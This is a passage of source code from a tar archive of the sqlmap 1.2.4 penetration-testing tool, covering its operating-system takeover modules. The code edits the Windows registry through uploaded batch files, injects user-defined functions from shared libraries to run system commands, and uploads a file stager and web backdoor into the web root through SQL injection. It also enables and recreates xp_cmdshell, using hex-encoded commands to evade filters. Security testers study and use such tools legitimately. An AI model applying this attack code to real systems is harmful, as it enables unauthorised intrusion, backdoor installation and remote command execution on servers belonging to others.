REGISTRY_OPERATION.READ: lines = self._batRead elif self._operation == REGISTRY_OPERATION.ADD: lines = self._batAdd elif self._operation == REGISTRY_OPERATION.DELETE: lines = self._batDel for line in lines: self._batPathFp.write(line) self._batPathFp.close() def _createRemoteBatchFile(self): logger.debug("creating batch file '%s'" % self._batPathRemote) self._createLocalBatchFile() self.writeFile(self._batPathLocal, self._batPathRemote, "text", forceCheck=True) os.unlink(self._batPathLocal) def readRegKey(self, regKey, regValue, parse=False): self._operation = REGISTRY_OPERATION.READ Registry._initVars(self, regKey, regValue, parse=parse) self._createRemoteBatchFile() logger.debug("reading registry key '%s' value '%s'" % (regKey, regValue)) data = self.evalCmd(self._batPathRemote) if data and not parse: pattern = ' ' index = data.find(pattern) if index != -1: data = data[index + len(pattern):] self.delRemoteFile(self._batPathRemote) return data def addRegKey(self, regKey, regValue, regType, regData): self._operation = REGISTRY_OPERATION.ADD Registry._initVars(self, regKey, regValue, regType, regData) self._createRemoteBatchFile() debugMsg = "adding registry key value '%s' " % self._regValue debugMsg += "to registry key '%s'" % self._regKey logger.debug(debugMsg) self.execCmd(cmd=self._batPathRemote) self.delRemoteFile(self._batPathRemote) def delRegKey(self, regKey, regValue): self._operation = REGISTRY_OPERATION.DELETE Registry._initVars(self, regKey, regValue) self._createRemoteBatchFile() debugMsg = "deleting registry key value '%s' " % self._regValue debugMsg += "from registry key '%s'" % self._regKey logger.debug(debugMsg) self.execCmd(cmd=self._batPathRemote) self.delRemoteFile(self._batPathRemote) ��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������sqlmap-1.2.4/lib/takeover/udf.py��������������������������������������������������������������������0000664�0000000�0000000�00000033120�13260122637�0016532�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������#!/usr/bin/env python """ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ import os from lib.core.agent import agent from lib.core.common import checkFile from lib.core.common import dataToStdout from lib.core.common import Backend from lib.core.common import isStackingAvailable from lib.core.common import readInput from lib.core.data import conf from lib.core.data import logger from lib.core.data import queries from lib.core.enums import DBMS from lib.core.enums import CHARSET_TYPE from lib.core.enums import EXPECTED from lib.core.enums import OS from lib.core.common import unArrayizeValue from lib.core.exception import SqlmapFilePathException from lib.core.exception import SqlmapMissingMandatoryOptionException from lib.core.exception import SqlmapUnsupportedFeatureException from lib.core.exception import SqlmapUserQuitException from lib.core.unescaper import unescaper from lib.request import inject class UDF: """ This class defines methods to deal with User-Defined Functions for plugins. """ def __init__(self): self.createdUdf = set() self.udfs = {} self.udfToCreate = set() def _askOverwriteUdf(self, udf): message = "UDF '%s' already exists, do you " % udf message += "want to overwrite it? [y/N] " return readInput(message, default='N', boolean=True) def _checkExistUdf(self, udf): logger.info("checking if UDF '%s' already exist" % udf) query = agent.forgeCaseStatement(queries[Backend.getIdentifiedDbms()].check_udf.query % (udf, udf)) return inject.getValue(query, resumeValue=False, expected=EXPECTED.BOOL, charsetType=CHARSET_TYPE.BINARY) def udfCheckAndOverwrite(self, udf): exists = self._checkExistUdf(udf) overwrite = True if exists: overwrite = self._askOverwriteUdf(udf) if overwrite: self.udfToCreate.add(udf) def udfCreateSupportTbl(self, dataType): debugMsg = "creating a support table for user-defined functions" logger.debug(debugMsg) self.createSupportTbl(self.cmdTblName, self.tblField, dataType) def udfForgeCmd(self, cmd): if not cmd.startswith("'"): cmd = "'%s" % cmd if not cmd.endswith("'"): cmd = "%s'" % cmd return cmd def udfExecCmd(self, cmd, silent=False, udfName=None): if udfName is None: udfName = "sys_exec" cmd = unescaper.escape(self.udfForgeCmd(cmd)) return inject.goStacked("SELECT %s(%s)" % (udfName, cmd), silent) def udfEvalCmd(self, cmd, first=None, last=None, udfName=None): if udfName is None: udfName = "sys_eval" if conf.direct: output = self.udfExecCmd(cmd, udfName=udfName) if output and isinstance(output, (list, tuple)): new_output = "" for line in output: new_output += line.replace("\r", "\n") output = new_output else: cmd = unescaper.escape(self.udfForgeCmd(cmd)) inject.goStacked("INSERT INTO %s(%s) VALUES (%s(%s))" % (self.cmdTblName, self.tblField, udfName, cmd)) output = unArrayizeValue(inject.getValue("SELECT %s FROM %s" % (self.tblField, self.cmdTblName), resumeValue=False, firstChar=first, lastChar=last, safeCharEncode=False)) inject.goStacked("DELETE FROM %s" % self.cmdTblName) return output def udfCheckNeeded(self): if (not conf.rFile or (conf.rFile and not Backend.isDbms(DBMS.PGSQL))) and "sys_fileread" in self.sysUdfs: self.sysUdfs.pop("sys_fileread") if not conf.osPwn: self.sysUdfs.pop("sys_bineval") if not conf.osCmd and not conf.osShell and not conf.regRead: self.sysUdfs.pop("sys_eval") if not conf.osPwn and not conf.regAdd and not conf.regDel: self.sysUdfs.pop("sys_exec") def udfSetRemotePath(self): errMsg = "udfSetRemotePath() method must be defined within the plugin" raise SqlmapUnsupportedFeatureException(errMsg) def udfSetLocalPaths(self): errMsg = "udfSetLocalPaths() method must be defined within the plugin" raise SqlmapUnsupportedFeatureException(errMsg) def udfCreateFromSharedLib(self, udf=None, inpRet=None): errMsg = "udfCreateFromSharedLib() method must be defined within the plugin" raise SqlmapUnsupportedFeatureException(errMsg) def udfInjectCore(self, udfDict): written = False for udf in udfDict.keys(): if udf in self.createdUdf: continue self.udfCheckAndOverwrite(udf) if len(self.udfToCreate) > 0: self.udfSetRemotePath() checkFile(self.udfLocalFile) written = self.writeFile(self.udfLocalFile, self.udfRemoteFile, "binary", forceCheck=True) if written is not True: errMsg = "there has been a problem uploading the shared library, " errMsg += "it looks like the binary file has not been written " errMsg += "on the database underlying file system" logger.error(errMsg) message = "do you want to proceed anyway? Beware that the " message += "operating system takeover will fail [y/N] " if readInput(message, default='N', boolean=True): written = True else: return False else: return True for udf, inpRet in udfDict.items(): if udf in self.udfToCreate and udf not in self.createdUdf: self.udfCreateFromSharedLib(udf, inpRet) if Backend.isDbms(DBMS.MYSQL): supportTblType = "longtext" elif Backend.isDbms(DBMS.PGSQL): supportTblType = "text" self.udfCreateSupportTbl(supportTblType) return written def udfInjectSys(self): self.udfSetLocalPaths() self.udfCheckNeeded() return self.udfInjectCore(self.sysUdfs) def udfInjectCustom(self): if Backend.getIdentifiedDbms() not in (DBMS.MYSQL, DBMS.PGSQL): errMsg = "UDF injection feature only works on MySQL and PostgreSQL" logger.error(errMsg) return if not isStackingAvailable() and not conf.direct: errMsg = "UDF injection feature requires stacked queries SQL injection" logger.error(errMsg) return self.checkDbmsOs() if not self.isDba(): warnMsg = "functionality requested probably does not work because " warnMsg += "the current session user is not a database administrator" logger.warn(warnMsg) if not conf.shLib: msg = "what is the local path of the shared library? " while True: self.udfLocalFile = readInput(msg) if self.udfLocalFile: break else: logger.warn("you need to specify the local path of the shared library") else: self.udfLocalFile = conf.shLib if not os.path.exists(self.udfLocalFile): errMsg = "the specified shared library file does not exist" raise SqlmapFilePathException(errMsg) if not self.udfLocalFile.endswith(".dll") and not self.udfLocalFile.endswith(".so"): errMsg = "shared library file must end with '.dll' or '.so'" raise SqlmapMissingMandatoryOptionException(errMsg) elif self.udfLocalFile.endswith(".so") and Backend.isOs(OS.WINDOWS): errMsg = "you provided a shared object as shared library, but " errMsg += "the database underlying operating system is Windows" raise SqlmapMissingMandatoryOptionException(errMsg) elif self.udfLocalFile.endswith(".dll") and Backend.isOs(OS.LINUX): errMsg = "you provided a dynamic-link library as shared library, " errMsg += "but the database underlying operating system is Linux" raise SqlmapMissingMandatoryOptionException(errMsg) self.udfSharedLibName = os.path.basename(self.udfLocalFile).split(".")[0] self.udfSharedLibExt = os.path.basename(self.udfLocalFile).split(".")[1] msg = "how many user-defined functions do you want to create " msg += "from the shared library? " while True: udfCount = readInput(msg, default='1') if udfCount.isdigit(): udfCount = int(udfCount) if udfCount <= 0: logger.info("nothing to inject then") return else: break else: logger.warn("invalid value, only digits are allowed") for x in xrange(0, udfCount): while True: msg = "what is the name of the UDF number %d? " % (x + 1) udfName = readInput(msg) if udfName: self.udfs[udfName] = {} break else: logger.warn("you need to specify the name of the UDF") if Backend.isDbms(DBMS.MYSQL): defaultType = "string" elif Backend.isDbms(DBMS.PGSQL): defaultType = "text" self.udfs[udfName]["input"] = [] msg = "how many input parameters takes UDF " msg += "'%s'? (default: 1) " % udfName while True: parCount = readInput(msg, default='1') if parCount.isdigit() and int(parCount) >= 0: parCount = int(parCount) break else: logger.warn("invalid value, only digits >= 0 are allowed") for y in xrange(0, parCount): msg = "what is the data-type of input parameter " msg += "number %d? (default: %s) " % ((y + 1), defaultType) while True: parType = readInput(msg, default=defaultType).strip() if parType.isdigit(): logger.warn("you need to specify the data-type of the parameter") else: self.udfs[udfName]["input"].append(parType) break msg = "what is the data-type of the return " msg += "value? (default: %s) " % defaultType while True: retType = readInput(msg, default=defaultType) if isinstance(retType, basestring) and retType.isdigit(): logger.warn("you need to specify the data-type of the return value") else: self.udfs[udfName]["return"] = retType break success = self.udfInjectCore(self.udfs) if success is False: self.cleanup(udfDict=self.udfs) return False msg = "do you want to call your injected user-defined " msg += "functions now? [Y/n/q] " choice = readInput(msg, default='Y').upper() if choice == 'N': self.cleanup(udfDict=self.udfs) return elif choice == 'Q': self.cleanup(udfDict=self.udfs) raise SqlmapUserQuitException while True: udfList = [] msg = "which UDF do you want to call?" for udf in self.udfs.keys(): udfList.append(udf) msg += "\n[%d] %s" % (len(udfList), udf) msg += "\n[q] Quit" while True: choice = readInput(msg).upper() if choice == 'Q': break elif isinstance(choice, basestring) and choice.isdigit() and int(choice) > 0 and int(choice) <= len(udfList): choice = int(choice) break elif isinstance(choice, int) and choice > 0 and choice <= len(udfList): break else: warnMsg = "invalid value, only digits >= 1 and " warnMsg += "<= %d are allowed" % len(udfList) logger.warn(warnMsg) if not isinstance(choice, int): break cmd = "" count = 1 udfToCall = udfList[choice - 1] for inp in self.udfs[udfToCall]["input"]: msg = "what is the value of the parameter number " msg += "%d (data-type: %s)? " % (count, inp) while True: parValue = readInput(msg) if parValue: if "int" not in inp and "bool" not in inp: parValue = "'%s'" % parValue cmd += "%s," % parValue break else: logger.warn("you need to specify the value of the parameter") count += 1 cmd = cmd[:-1] msg = "do you want to retrieve the return value of the " msg += "UDF? [Y/n] " if readInput(msg, default='Y', boolean=True): output = self.udfEvalCmd(cmd, udfName=udfToCall) if output: conf.dumper.string("return value", output) else: dataToStdout("No return value\n") else: self.udfExecCmd(cmd, udfName=udfToCall, silent=True) msg = "do you want to call this or another injected UDF? [Y/n] " if not readInput(msg, default='Y', boolean=True): break self.cleanup(udfDict=self.udfs) ������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������sqlmap-1.2.4/lib/takeover/web.py��������������������������������������������������������������������0000664�0000000�0000000�00000042203�13260122637�0016533�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������#!/usr/bin/env python """ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ import os import posixpath import re import StringIO import tempfile import urlparse from extra.cloak.cloak import decloak from lib.core.agent import agent from lib.core.common import arrayizeValue from lib.core.common import Backend from lib.core.common import extractRegexResult from lib.core.common import getAutoDirectories from lib.core.common import getManualDirectories from lib.core.common import getPublicTypeMembers from lib.core.common import getSQLSnippet from lib.core.common import getUnicode from lib.core.common import ntToPosixSlashes from lib.core.common import isTechniqueAvailable from lib.core.common import isWindowsDriveLetterPath from lib.core.common import normalizePath from lib.core.common import parseFilePaths from lib.core.common import posixToNtSlashes from lib.core.common import randomInt from lib.core.common import randomStr from lib.core.common import readInput from lib.core.common import singleTimeWarnMessage from lib.core.convert import hexencode from lib.core.convert import utf8encode from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.data import paths from lib.core.enums import DBMS from lib.core.enums import HTTP_HEADER from lib.core.enums import OS from lib.core.enums import PAYLOAD from lib.core.enums import PLACE from lib.core.enums import WEB_API from lib.core.exception import SqlmapNoneDataException from lib.core.settings import BACKDOOR_RUN_CMD_TIMEOUT from lib.core.settings import EVENTVALIDATION_REGEX from lib.core.settings import SHELL_RUNCMD_EXE_TAG from lib.core.settings import SHELL_WRITABLE_DIR_TAG from lib.core.settings import VIEWSTATE_REGEX from lib.request.connect import Connect as Request from thirdparty.oset.pyoset import oset class Web: """ This class defines web-oriented OS takeover functionalities for plugins. """ def __init__(self): self.webApi = None self.webBaseUrl = None self.webBackdoorUrl = None self.webBackdoorFilePath = None self.webStagerUrl = None self.webStagerFilePath = None self.webDirectory = None def webBackdoorRunCmd(self, cmd): if self.webBackdoorUrl is None: return output = None if not cmd: cmd = conf.osCmd cmdUrl = "%s?cmd=%s" % (self.webBackdoorUrl, cmd) page, _, _ = Request.getPage(url=cmdUrl, direct=True, silent=True, timeout=BACKDOOR_RUN_CMD_TIMEOUT) if page is not None: output = re.search(r"<pre>(.+?)</pre>", page, re.I | re.S) if output: output = output.group(1) return output def webUpload(self, destFileName, directory, stream=None, content=None, filepath=None): if filepath is not None: if filepath.endswith('_'): content = decloak(filepath) # cloaked file else: with open(filepath, "rb") as f: content = f.read() if content is not None: stream = StringIO.StringIO(content) # string content return self._webFileStreamUpload(stream, destFileName, directory) def _webFileStreamUpload(self, stream, destFileName, directory): stream.seek(0) # Rewind try: setattr(stream, "name", destFileName) except TypeError: pass if self.webApi in getPublicTypeMembers(WEB_API, True): multipartParams = { "upload": "1", "file": stream, "uploadDir": directory, } if self.webApi == WEB_API.ASPX: multipartParams['__EVENTVALIDATION'] = kb.data.__EVENTVALIDATION multipartParams['__VIEWSTATE'] = kb.data.__VIEWSTATE page, _, _ = Request.getPage(url=self.webStagerUrl, multipart=multipartParams, raise404=False) if "File uploaded" not in page: warnMsg = "unable to upload the file through the web file " warnMsg += "stager to '%s'" % directory logger.warn(warnMsg) return False else: return True else: logger.error("sqlmap hasn't got a web backdoor nor a web file stager for %s" % self.webApi) return False def _webFileInject(self, fileContent, fileName, directory): outFile = posixpath.join(ntToPosixSlashes(directory), fileName) uplQuery = getUnicode(fileContent).replace(SHELL_WRITABLE_DIR_TAG, directory.replace('/', '\\\\') if Backend.isOs(OS.WINDOWS) else directory) query = "" if isTechniqueAvailable(kb.technique): where = kb.injection.data[kb.technique].where if where == PAYLOAD.WHERE.NEGATIVE: randInt = randomInt() query += "OR %d=%d " % (randInt, randInt) query += getSQLSnippet(DBMS.MYSQL, "write_file_limit", OUTFILE=outFile, HEXSTRING=hexencode(uplQuery, conf.encoding)) query = agent.prefixQuery(query) query = agent.suffixQuery(query) payload = agent.payload(newValue=query) page = Request.queryPage(payload) return page def webInit(self): """ This method is used to write a web backdoor (agent) on a writable remote directory within the web server document root. """ if self.webBackdoorUrl is not None and self.webStagerUrl is not None and self.webApi is not None: return self.checkDbmsOs() default = None choices = list(getPublicTypeMembers(WEB_API, True)) for ext in choices: if conf.url.endswith(ext): default = ext break if not default: default = WEB_API.ASP if Backend.isOs(OS.WINDOWS) else WEB_API.PHP message = "which web application language does the web server " message += "support?\n" for count in xrange(len(choices)): ext = choices[count] message += "[%d] %s%s\n" % (count + 1, ext.upper(), (" (default)" if default == ext else "")) if default == ext: default = count + 1 message = message[:-1] while True: choice = readInput(message, default=str(default)) if not choice.isdigit(): logger.warn("invalid value, only digits are allowed") elif int(choice) < 1 or int(choice) > len(choices): logger.warn("invalid value, it must be between 1 and %d" % len(choices)) else: self.webApi = choices[int(choice) - 1] break if not kb.absFilePaths: message = "do you want sqlmap to further try to " message += "provoke the full path disclosure? [Y/n] " if readInput(message, default='Y', boolean=True): headers = {} been = set([conf.url]) for match in re.finditer(r"=['\"]((https?):)?(//[^/'\"]+)?(/[\w/.-]*)\bwp-", kb.originalPage or "", re.I): url = "%s%s" % (conf.url.replace(conf.path, match.group(4)), "wp-content/wp-db.php") if url not in been: try: page, _, _ = Request.getPage(url=url, raise404=False, silent=True) parseFilePaths(page) except: pass finally: been.add(url) url = re.sub(r"(\.\w+)\Z", "~\g<1>", conf.url) if url not in been: try: page, _, _ = Request.getPage(url=url, raise404=False, silent=True) parseFilePaths(page) except: pass finally: been.add(url) for place in (PLACE.GET, PLACE.POST): if place in conf.parameters: value = re.sub(r"(\A|&)(\w+)=", "\g<2>[]=", conf.parameters[place]) if "[]" in value: page, headers, _ = Request.queryPage(value=value, place=place, content=True, raise404=False, silent=True, noteResponseTime=False) parseFilePaths(page) cookie = None if PLACE.COOKIE in conf.parameters: cookie = conf.parameters[PLACE.COOKIE] elif headers and HTTP_HEADER.SET_COOKIE in headers: cookie = headers[HTTP_HEADER.SET_COOKIE] if cookie: value = re.sub(r"(\A|;)(\w+)=[^;]*", "\g<2>=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA", cookie) if value != cookie: page, _, _ = Request.queryPage(value=value, place=PLACE.COOKIE, content=True, raise404=False, silent=True, noteResponseTime=False) parseFilePaths(page) value = re.sub(r"(\A|;)(\w+)=[^;]*", "\g<2>=", cookie) if value != cookie: page, _, _ = Request.queryPage(value=value, place=PLACE.COOKIE, content=True, raise404=False, silent=True, noteResponseTime=False) parseFilePaths(page) directories = list(arrayizeValue(getManualDirectories())) directories.extend(getAutoDirectories()) directories = list(oset(directories)) path = urlparse.urlparse(conf.url).path or '/' path = re.sub(r"/[^/]*\.\w+\Z", '/', path) if path != '/': _ = [] for directory in directories: _.append(directory) if not directory.endswith(path): _.append("%s/%s" % (directory.rstrip('/'), path.strip('/'))) directories = _ backdoorName = "tmpb%s.%s" % (randomStr(lowercase=True), self.webApi) backdoorContent = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "backdoors", "backdoor.%s_" % self.webApi)) stagerContent = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "stagers", "stager.%s_" % self.webApi)) for directory in directories: if not directory: continue stagerName = "tmpu%s.%s" % (randomStr(lowercase=True), self.webApi) self.webStagerFilePath = posixpath.join(ntToPosixSlashes(directory), stagerName) uploaded = False directory = ntToPosixSlashes(normalizePath(directory)) if not isWindowsDriveLetterPath(directory) and not directory.startswith('/'): directory = "/%s" % directory if not directory.endswith('/'): directory += '/' # Upload the file stager with the LIMIT 0, 1 INTO DUMPFILE method infoMsg = "trying to upload the file stager on '%s' " % directory infoMsg += "via LIMIT 'LINES TERMINATED BY' method" logger.info(infoMsg) self._webFileInject(stagerContent, stagerName, directory) for match in re.finditer('/', directory): self.webBaseUrl = "%s://%s:%d%s/" % (conf.scheme, conf.hostname, conf.port, directory[match.start():].rstrip('/')) self.webStagerUrl = urlparse.urljoin(self.webBaseUrl, stagerName) debugMsg = "trying to see if the file is accessible from '%s'" % self.webStagerUrl logger.debug(debugMsg) uplPage, _, _ = Request.getPage(url=self.webStagerUrl, direct=True, raise404=False) uplPage = uplPage or "" if "sqlmap file uploader" in uplPage: uploaded = True break # Fall-back to UNION queries file upload method if not uploaded: warnMsg = "unable to upload the file stager " warnMsg += "on '%s'" % directory singleTimeWarnMessage(warnMsg) if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION): infoMsg = "trying to upload the file stager on '%s' " % directory infoMsg += "via UNION method" logger.info(infoMsg) stagerName = "tmpu%s.%s" % (randomStr(lowercase=True), self.webApi) self.webStagerFilePath = posixpath.join(ntToPosixSlashes(directory), stagerName) handle, filename = tempfile.mkstemp() os.close(handle) with open(filename, "w+b") as f: _ = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "stagers", "stager.%s_" % self.webApi)) _ = _.replace(SHELL_WRITABLE_DIR_TAG, utf8encode(directory.replace('/', '\\\\') if Backend.isOs(OS.WINDOWS) else directory)) f.write(_) self.unionWriteFile(filename, self.webStagerFilePath, "text", forceCheck=True) for match in re.finditer('/', directory): self.webBaseUrl = "%s://%s:%d%s/" % (conf.scheme, conf.hostname, conf.port, directory[match.start():].rstrip('/')) self.webStagerUrl = urlparse.urljoin(self.webBaseUrl, stagerName) debugMsg = "trying to see if the file is accessible from '%s'" % self.webStagerUrl logger.debug(debugMsg) uplPage, _, _ = Request.getPage(url=self.webStagerUrl, direct=True, raise404=False) uplPage = uplPage or "" if "sqlmap file uploader" in uplPage: uploaded = True break if not uploaded: continue if "<%" in uplPage or "<?" in uplPage: warnMsg = "file stager uploaded on '%s', " % directory warnMsg += "but not dynamically interpreted" logger.warn(warnMsg) continue elif self.webApi == WEB_API.ASPX: kb.data.__EVENTVALIDATION = extractRegexResult(EVENTVALIDATION_REGEX, uplPage) kb.data.__VIEWSTATE = extractRegexResult(VIEWSTATE_REGEX, uplPage) infoMsg = "the file stager has been successfully uploaded " infoMsg += "on '%s' - %s" % (directory, self.webStagerUrl) logger.info(infoMsg) if self.webApi == WEB_API.ASP: match = re.search(r'input type=hidden name=scriptsdir value="([^"]+)"', uplPage) if match: backdoorDirectory = match.group(1) else: continue _ = "tmpe%s.exe" % randomStr(lowercase=True) if self.webUpload(backdoorName, backdoorDirectory, content=backdoorContent.replace(SHELL_WRITABLE_DIR_TAG, backdoorDirectory).replace(SHELL_RUNCMD_EXE_TAG, _)): self.webUpload(_, backdoorDirectory, filepath=os.path.join(paths.SQLMAP_EXTRAS_PATH, "runcmd", "runcmd.exe_")) self.webBackdoorUrl = "%s/Scripts/%s" % (self.webBaseUrl, backdoorName) self.webDirectory = backdoorDirectory else: continue else: if not self.webUpload(backdoorName, posixToNtSlashes(directory) if Backend.isOs(OS.WINDOWS) else directory, content=backdoorContent): warnMsg = "backdoor has not been successfully uploaded " warnMsg += "through the file stager possibly because " warnMsg += "the user running the web server process " warnMsg += "has not write privileges over the folder " warnMsg += "where the user running the DBMS process " warnMsg += "was able to upload the file stager or " warnMsg += "because the DBMS and web server sit on " warnMsg += "different servers" logger.warn(warnMsg) message = "do you want to try the same method used " message += "for the file stager? [Y/n] " if readInput(message, default='Y', boolean=True): self._webFileInject(backdoorContent, backdoorName, directory) else: continue self.webBackdoorUrl = posixpath.join(ntToPosixSlashes(self.webBaseUrl), backdoorName) self.webDirectory = directory self.webBackdoorFilePath = posixpath.join(ntToPosixSlashes(directory), backdoorName) testStr = "command execution test" output = self.webBackdoorRunCmd("echo %s" % testStr) if output == "0": warnMsg = "the backdoor has been uploaded but required privileges " warnMsg += "for running the system commands are missing" raise SqlmapNoneDataException(warnMsg) elif output and testStr in output: infoMsg = "the backdoor has been successfully " else: infoMsg = "the backdoor has probably been successfully " infoMsg += "uploaded on '%s' - " % self.webDirectory infoMsg += self.webBackdoorUrl logger.info(infoMsg) break ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������sqlmap-1.2.4/lib/takeover/xp_cmdshell.py������������������������������������������������������������0000664�0000000�0000000�00000026565�13260122637�0020275�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������#!/usr/bin/env python """ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ from lib.core.agent import agent from lib.core.common import Backend from lib.core.common import flattenValue from lib.core.common import getLimitRange from lib.core.common import getSQLSnippet from lib.core.common import hashDBWrite from lib.core.common import isListLike from lib.core.common import isNoneValue from lib.core.common import isNumPosStrValue from lib.core.common import isTechniqueAvailable from lib.core.common import pushValue from lib.core.common import popValue from lib.core.common import randomStr from lib.core.common import readInput from lib.core.common import wasLastResponseDelayed from lib.core.convert import hexencode from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.enums import CHARSET_TYPE from lib.core.enums import DBMS from lib.core.enums import EXPECTED from lib.core.enums import HASHDB_KEYS from lib.core.enums import PAYLOAD from lib.core.exception import SqlmapUnsupportedFeatureException from lib.core.threads import getCurrentThreadData from lib.request import inject class XP_cmdshell: """ This class defines methods to deal with Microsoft SQL Server xp_cmdshell extended procedure for plugins. """ def __init__(self): self.xpCmdshellStr = "master..xp_cmdshell" def _xpCmdshellCreate(self): cmd = "" if not Backend.isVersionWithin(("2000",)): logger.debug("activating sp_OACreate") cmd = getSQLSnippet(DBMS.MSSQL, "activate_sp_oacreate") inject.goStacked(agent.runAsDBMSUser(cmd)) self._randStr = randomStr(lowercase=True) self.xpCmdshellStr = "master..new_xp_cmdshell" cmd = getSQLSnippet(DBMS.MSSQL, "create_new_xp_cmdshell", RANDSTR=self._randStr) if not Backend.isVersionWithin(("2000",)): cmd += ";RECONFIGURE WITH OVERRIDE" inject.goStacked(agent.runAsDBMSUser(cmd)) def _xpCmdshellConfigure2005(self, mode): debugMsg = "configuring xp_cmdshell using sp_configure " debugMsg += "stored procedure" logger.debug(debugMsg) cmd = getSQLSnippet(DBMS.MSSQL, "configure_xp_cmdshell", ENABLE=str(mode)) return cmd def _xpCmdshellConfigure2000(self, mode): debugMsg = "configuring xp_cmdshell using sp_addextendedproc " debugMsg += "stored procedure" logger.debug(debugMsg) if mode == 1: cmd = getSQLSnippet(DBMS.MSSQL, "enable_xp_cmdshell_2000", ENABLE=str(mode)) else: cmd = getSQLSnippet(DBMS.MSSQL, "disable_xp_cmdshell_2000", ENABLE=str(mode)) return cmd def _xpCmdshellConfigure(self, mode): if Backend.isVersionWithin(("2000",)): cmd = self._xpCmdshellConfigure2000(mode) else: cmd = self._xpCmdshellConfigure2005(mode) inject.goStacked(agent.runAsDBMSUser(cmd)) def _xpCmdshellCheck(self): cmd = "ping -n %d 127.0.0.1" % (conf.timeSec * 2) self.xpCmdshellExecCmd(cmd) return wasLastResponseDelayed() def _xpCmdshellTest(self): threadData = getCurrentThreadData() pushValue(threadData.disableStdOut) threadData.disableStdOut = True logger.info("testing if xp_cmdshell extended procedure is usable") output = self.xpCmdshellEvalCmd("echo 1") if output == "1": logger.info("xp_cmdshell extended procedure is usable") elif isNoneValue(output) and conf.dbmsCred: errMsg = "it seems that the temporary directory ('%s') used for " % self.getRemoteTempPath() errMsg += "storing console output within the back-end file system " errMsg += "does not have writing permissions for the DBMS process. " errMsg += "You are advised to manually adjust it with option " errMsg += "'--tmp-path' or you won't be able to retrieve " errMsg += "the command(s) output" logger.error(errMsg) elif isNoneValue(output): logger.error("unable to retrieve xp_cmdshell output") else: logger.info("xp_cmdshell extended procedure is usable") threadData.disableStdOut = popValue() def xpCmdshellWriteFile(self, fileContent, tmpPath, randDestFile): echoedLines = [] cmd = "" charCounter = 0 maxLen = 512 if isinstance(fileContent, (set, list, tuple)): lines = fileContent else: lines = fileContent.split("\n") for line in lines: echoedLine = "echo %s " % line echoedLine += ">> \"%s\%s\"" % (tmpPath, randDestFile) echoedLines.append(echoedLine) for echoedLine in echoedLines: cmd += "%s & " % echoedLine charCounter += len(echoedLine) if charCounter >= maxLen: self.xpCmdshellExecCmd(cmd.rstrip(" & ")) cmd = "" charCounter = 0 if cmd: self.xpCmdshellExecCmd(cmd.rstrip(" & ")) def xpCmdshellForgeCmd(self, cmd, insertIntoTable=None): # When user provides DBMS credentials (with --dbms-cred) we need to # redirect the command standard output to a temporary file in order # to retrieve it afterwards # NOTE: this does not need to be done when the command is 'del' to # delete the temporary file if conf.dbmsCred and insertIntoTable: self.tmpFile = "%s/tmpc%s.txt" % (conf.tmpPath, randomStr(lowercase=True)) cmd = "%s > \"%s\"" % (cmd, self.tmpFile) # Obfuscate the command to execute, also useful to bypass filters # on single-quotes self._randStr = randomStr(lowercase=True) self._cmd = "0x%s" % hexencode(cmd, conf.encoding) self._forgedCmd = "DECLARE @%s VARCHAR(8000);" % self._randStr self._forgedCmd += "SET @%s=%s;" % (self._randStr, self._cmd) # Insert the command standard output into a support table, # 'sqlmapoutput', except when DBMS credentials are provided because # it does not work unfortunately, BULK INSERT needs to be used to # retrieve the output when OPENROWSET is used hence the redirection # to a temporary file from above if insertIntoTable and not conf.dbmsCred: self._forgedCmd += "INSERT INTO %s(data) " % insertIntoTable self._forgedCmd += "EXEC %s @%s" % (self.xpCmdshellStr, self._randStr) return agent.runAsDBMSUser(self._forgedCmd) def xpCmdshellExecCmd(self, cmd, silent=False): return inject.goStacked(self.xpCmdshellForgeCmd(cmd), silent) def xpCmdshellEvalCmd(self, cmd, first=None, last=None): output = None if conf.direct: output = self.xpCmdshellExecCmd(cmd) if output and isinstance(output, (list, tuple)): new_output = "" for line in output: if line == "NULL": new_output += "\n" else: new_output += "%s\n" % line.strip("\r") output = new_output else: inject.goStacked(self.xpCmdshellForgeCmd(cmd, self.cmdTblName)) # When user provides DBMS credentials (with --dbms-cred), the # command standard output is redirected to a temporary file # The file needs to be copied to the support table, # 'sqlmapoutput' if conf.dbmsCred: inject.goStacked("BULK INSERT %s FROM '%s' WITH (CODEPAGE='RAW', FIELDTERMINATOR='%s', ROWTERMINATOR='%s')" % (self.cmdTblName, self.tmpFile, randomStr(10), randomStr(10))) self.delRemoteFile(self.tmpFile) query = "SELECT %s FROM %s ORDER BY id" % (self.tblField, self.cmdTblName) if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct: output = inject.getValue(query, resumeValue=False, blind=False, time=False) if (output is None) or len(output) == 0 or output[0] is None: output = [] count = inject.getValue("SELECT COUNT(id) FROM %s" % self.cmdTblName, resumeValue=False, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) if isNumPosStrValue(count): for index in getLimitRange(count): query = agent.limitQuery(index, query, self.tblField) output.append(inject.getValue(query, union=False, error=False, resumeValue=False)) inject.goStacked("DELETE FROM %s" % self.cmdTblName) 